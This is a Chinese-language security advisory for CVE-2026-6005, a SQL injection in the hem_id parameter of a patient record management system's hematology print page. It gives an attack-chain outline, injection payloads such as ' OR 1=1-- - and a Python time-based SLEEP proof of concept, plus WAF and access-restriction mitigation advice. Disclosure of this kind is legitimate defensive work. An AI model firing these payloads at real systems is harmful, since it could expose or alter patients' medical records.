IPBUF安全漏洞报告
English
CVE-2026-6005 CVSS 6.3 中危

CVE-2026-6005: Patient Record Management System SQL注入漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-6005
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Patient Record Management System

相关标签

SQL注入CVE-2026-6005Patient Record Management SystemWeb安全中危

漏洞概述

code-projects Patient Record Management System 1.0被发现存在SQL注入漏洞。该漏洞源于/hematology_print.php文件未正确处理用户输入,攻击者可操纵hem_id参数发起远程攻击,导致数据库信息泄露。

技术细节

该漏洞存在于Patient Record Management System 1.0版本的/hematology_print.php文件中。系统在接收血液学打印请求时,未对GET或POST参数中的hem_id进行严格的类型校验或特殊字符过滤,导致该参数可直接被拼接到SQL查询语句中。由于CVSS向量显示攻击复杂度低(AC:L)且无需用户交互(UI:N),远程攻击者只需具备低权限(PR:L)即可构造恶意SQL Payload。通过利用该漏洞,攻击者能够执行任意SQL命令,从而绕过认证、窃取敏感的患者记录数据或破坏数据库完整性。

攻击链分析

STEP 1
1. 侦察
攻击者识别目标系统运行的是 code-projects Patient Record Management System 1.0。
STEP 2
2. 武器化
攻击者构造针对 hem_id 参数的恶意 SQL 注入 Payload(例如:' OR 1=1-- -)。
STEP 3
3. 投递
攻击者向 /hematology_print.php 端点发送包含恶意参数的 HTTP GET 或 POST 请求。
STEP 4
4. 利用
后端数据库直接执行包含 Payload 的 SQL 语句,导致查询逻辑被改变。
STEP 5
5. 影响
攻击者成功提取数据库中的敏感信息(如患者记录)或篡改数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://example.com/hematology_print.php" # Malicious payload to test SQL injection # This payload attempts to cause a time-based delay or syntax error to confirm the vulnerability payload = "1' AND SLEEP(5)-- -" params = { "hem_id": payload } try: response = requests.get(target_url, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected via time-based analysis.") else: print("[-] Vulnerability not confirmed or payload failed.") print(f"Status Code: {response.status_code}") except requests.RequestException as e: print(f"Error: {e}")

影响范围

code-projects Patient Record Management System 1.0

防御指南

临时缓解措施
建议在 Web 应用防火墙(WAF)中添加规则,拦截针对 /hematology_print.php 接口的异常 SQL 请求;同时暂时限制该文件的访问权限,仅允许内部IP调用,直至完成代码修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表